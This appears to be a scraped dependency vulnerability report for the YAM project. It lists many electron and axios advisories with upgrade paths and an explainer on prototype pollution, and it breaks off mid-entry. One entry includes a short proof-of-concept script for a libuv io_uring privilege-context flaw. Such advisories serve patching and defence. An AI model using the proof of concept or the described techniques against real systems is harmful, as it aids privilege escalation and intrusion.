Vulnerabilities |
195 via 196 paths |
|---|---|
Dependencies |
311 |
Source |
GitHub |
Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Type Confusion due to a flaw in the WebAssembly component. An attacker can execute arbitrary code on the victim's machine by convincing them to visit a maliciously crafted HTML page.
Remediation
Upgrade electron to version 27.3.9, 28.2.10, 29.2.0 or higher.
References
critical severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free via the Mojo interface. An attacker can potentially exploit heap corruption by delivering a crafted HTML page.
Remediation
Upgrade electron to version 27.3.3 or higher.
References
critical severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free due to improper handling of objects in memory in the ANGLE graphics engine. An attacker can cause heap corruption and potentially execute arbitrary code by convincing a user to visit a specially crafted HTML page.
Remediation
Upgrade electron to version 27.3.9, 28.2.10, 29.2.0 or higher.
References
critical severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') via the lack of limitation on max inlining ids in MaglevGraphBuilder. An attacker can achieve heap corruption and potentially execute arbitrary code by enticing a user to visit a specially crafted HTML page.
Remediation
Upgrade electron to version 37.2.5 or higher.
References
critical severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Out-of-bounds Read via a crafted HTML page. An attacker can potentially perform a sandbox escape by manipulating the memory outside its intended buffer limits.
Remediation
Upgrade electron to version 29.4.6, 30.4.0 or higher.
References
critical severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Type Confusion via crafted HTML content. This can be exploited to escape the v8 sandbox and execute arbitrary code on the operating system.
Remediation
Upgrade electron to version 31.7.1, 32.2.1 or higher.
References
critical severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Out-of-Bounds Write via the V8 engine. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.
Remediation
Upgrade electron to version 31.7.2 or higher.
References
critical severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free in the offscreen rendering process when a parent WebContents is destroyed while a child window remains open. An attacker can cause memory corruption or application crash by triggering paint frames on the child window that dereference freed memory.
Note:
This is only exploitable if offscreen rendering is enabled (webPreferences.offscreen: true) and the setWindowOpenHandler permits child windows.
Workaround
This vulnerability can be mitigated by denying child window creation from offscreen renderers in your setWindowOpenHandler, or ensuring child windows are closed before the parent is destroyed.
Remediation
Upgrade electron to version 39.8.1, 40.7.0, 41.0.0 or higher.
References
critical severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to HTTP Response Splitting via the isFormData and getHeaders handling in the HTTP request path. An attacker can inject arbitrary request headers by supplying a prototype-polluted object that is mistaken for FormData, causing getHeaders() output to be merged into an outgoing request.
This lets attacker-controlled values, such as authorization or custom headers, ride along with requests made by applications that pass untrusted objects into Axios, exposing credentials or altering server-side request handling.
Notes
- The gadget only matters when the request body is a non-
FormDatapayload that Axios still routes through the Node HTTP adapter’s form-data detection path; browser-side usage is not implicated by this code path. - The advisory’s prototype-pollution prerequisite can come from any dependency in the application’s tree, not necessarily from Axios itself, so a separate merge/parser bug elsewhere can be enough to trigger the header injection.
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
critical severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/f95api@2.0.0-beta.13.2 › axios@0.26.1
Overview
axios is a promise-based HTTP client for the browser and Node.js.
Affected versions of this package are vulnerable to Prototype Pollution through the mergeConfig code path in the request configuration handling. An attacker can influence request behavior by supplying a crafted config object with inherited properties such as transport, env, formSerializer, or transform callbacks on Object.prototype, causing Axios to use attacker-controlled settings during request dispatch and form serialization. This can redirect requests, alter serialization and response handling, and break application logic that relies on trusted per-request configuration.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade axios to version 0.31.1, 1.15.1 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the ANGLE component.
Remediation
Upgrade electron to version 26.6.5, 27.2.2 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow via a crafted HTML page. An attacker can potentially exploit heap corruption by deceiving a user to visit a malicious web page.
Remediation
Upgrade electron to version 27.3.3 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow in the ANGLE component. An attacker can potentially exploit heap corruption through a crafted HTML page.
Remediation
Upgrade electron to version 27.3.11, 28.3.1, 29.3.1 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Heap-based Buffer Overflow through the WebRTC component. An attacker can cause heap corruption and potentially execute arbitrary code by crafting a malicious HTML page.
Remediation
Upgrade electron to version 29.4.3, 30.1.2 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Improper Access Control due to an inappropriate implementation in Extensions. An attacker can bypass site isolation.
Remediation
Upgrade electron to version 31.7.4, 32.2.3 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Improper Restriction of Operations within the Bounds of a Memory Buffer due to an inappropriate implementation in the V8 engine. An attacker can potentially perform out of bounds memory access by crafting a malicious HTML page.
Remediation
Upgrade electron to version 29.3.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Out-of-bounds Read allowing a remote attacker to exploit heap corruption via a crafted HTML page.
Note: The Stable channel has been updated to 120.0.6099.234 for Mac devices.
Remediation
Upgrade electron to version 26.6.7 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Out-of-bounds Read through the V8 engine. An attacker can access memory locations outside of the intended boundary by crafting a malicious HTML page.
Remediation
Upgrade electron to version 29.4.3 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Out-of-bounds Read via a crafted HTML page. An attacker can access memory locations outside the intended boundary by crafting a malicious HTML page that triggers the flaw.
Remediation
Upgrade electron to version 31.7.2 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Out-of-Bounds Write through the Streams API. An attacker can execute arbitrary code within a sandboxed environment by crafting a malicious HTML page.
Remediation
Upgrade electron to version 29.4.3 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Privilege Context Switching Error in libuv's handling of io_uring operations called before calling setuid(). This allows users to elevate privileges.
PoC
const { spawn } = require('node:child_process');
const process = require('process');
process.env['UV_USE_IO_URING']=1;
process.setuid(400);
const ls = spawn('cmd.exe', [' whoami']);
ls.stdout.on('data', (data) => {
console.log(`stdout: ${data}`);
});
ls.stderr.on('data', (data) => {
console.error(`stderr: ${data}`);
});
ls.on('close', (code) => {
console.log(`child process exited with code ${code}`);
});
console.log("The user identity of the Node.js" + " process:", process.getuid());
Remediation
Upgrade electron to version 29.4.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Type Confusion in V8.
Remediation
Upgrade electron to version 17.4.11, 18.3.6 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Type Confusion in V8.
Remediation
Upgrade electron to version 19.1.5, 20.3.5 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Type Confusion due to the V8 process. An attacker can potentially perform arbitrary read/write by exploiting a crafted HTML page.
Remediation
Upgrade electron to version 29.4.3 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free in the storage foundation, which allows a remote attacker to potentially exploit heap corruption via a crafted HTML page
Remediation
Upgrade electron to version 16.0.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free in the BFCache, due to the attempts to cache an interstitial which results in a crash.
Remediation
Upgrade electron to version 16.2.4, 17.4.2 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free in File System API.
Remediation
Upgrade electron to version 16.2.6, 17.4.3, 18.2.2 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free in Angle.
Remediation
Upgrade electron to version 17.4.8, 18.3.4 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free when glBufferData redefines a buffer and the new buffer is smaller than the old buffer.
Remediation
Upgrade electron to version 18.3.11, 19.0.15 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free in Blink, when a DisplayLock is unlocked via ForceUnlockIfNeeded.
Remediation
Upgrade electron to version 18.3.11 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free in SwiftShader.
Remediation
Upgrade electron to version 19.0.15 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free in WebSQL
Remediation
Upgrade electron to version 18.3.14, 20.1.4 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free in WebSQL.
Remediation
Upgrade electron to version 18.3.12, 19.0.16, 20.1.2 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free in Layout.
Remediation
Upgrade electron to version 19.1.0, 18.3.14 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free in Network Service
Remediation
Upgrade electron to version 20.1.2, 19.1.0, 18.3.12 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free in Frames, via a crafted HTML page.
Remediation
Upgrade electron to version 18.3.14, 19.1.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free in Layout.
Remediation
Upgrade electron to version 19.1.5, 20.3.5 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free in WebCodecs, which allows a remote attacker to potentially exploit heap corruption via a crafted HTML page.
Remediation
Upgrade electron to version 19.1.7, 20.3.7 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free via the Web Workers, which allows a remote attacker to potentially exploit heap corruption via a crafted HTML page.
Remediation
Upgrade electron to version 19.1.7, 20.3.7 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free in Mojo, via heap corruption.
Remediation
Upgrade electron to version 20.3.9, 21.4.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free in WebRTC, causing heap corruption.
Remediation
Upgrade electron to version 20.3.12, 21.4.2 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free via the WebAudio component. An attacker can potentially exploit heap corruption by convincing a user to visit a crafted HTML page.
Remediation
Upgrade electron to version 26.6.5, 27.2.2 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free via the Web Audio feature. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.
Remediation
Upgrade electron to version 26.6.8, 27.3.1 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free due to the improper handling of objects in memory in the Dawn component. An attacker can potentially exploit heap corruption through a crafted HTML page.
Remediation
Upgrade electron to version 27.3.9, 28.2.10, 29.2.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free due to improper handling in the WebCodecs component. An attacker can achieve arbitrary read/write access by crafting a malicious HTML page.
Remediation
Upgrade electron to version 27.3.9, 28.2.10, 29.2.0 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free due to improper handling of objects in memory in the Dawn component. An attacker can cause heap corruption and potentially execute arbitrary code by convincing a user to visit a specially crafted HTML page.
Remediation
Upgrade electron to version 27.3.11, 28.3.1, 29.3.1 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free through the Media Session process. An attacker can execute arbitrary code inside a sandbox by crafting a malicious HTML page.
Remediation
Upgrade electron to version 29.4.3 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free through the Dawn process. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.
Remediation
Upgrade electron to version 29.4.3 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free through the Dawn component. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.
Remediation
Upgrade electron to version 29.4.3 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free in the scheduling process. An attacker can execute arbitrary code inside a sandbox by using a crafted HTML page.
Remediation
Upgrade electron to version 29.4.3 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free due to the improper handling of memory in the Dawn process. An attacker can cause heap corruption by crafting a malicious HTML page.
Note: 126.0.6478.56 is the fixed version for Windows and Mac. Version 126.0.6478.54 fixes the vulnerability in Linux
Remediation
Upgrade electron to version 29.4.3 or higher.
References
high severity
- Vulnerable module: electron
- Introduced through: @millenniumearl/recaptcha-harvester@1.2.1
Detailed paths
-
Introduced through: yam@MillenniumEarl/YAM › @millenniumearl/recaptcha-harvester@1.2.1 › electron@15.5.7
Overview
electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS.
Affected versions of this package are vulnerable to Use After Free via the Dawn process. An attacker can potentially exploit heap corruption by crafting a malicious HTML page.
Note: 126.0.6478.56 is the fixed version for Windows and Mac. Version 126.0.6478.54 fixes the vulnerability in Linux
Remediation
Upgrade electron to version 29.4.3 or higher.
References
high severity
- Vulnerable module: axios
- Introduced through: @millenniumearl/f95api@2.0.0-beta.13.2
Detailed paths
-
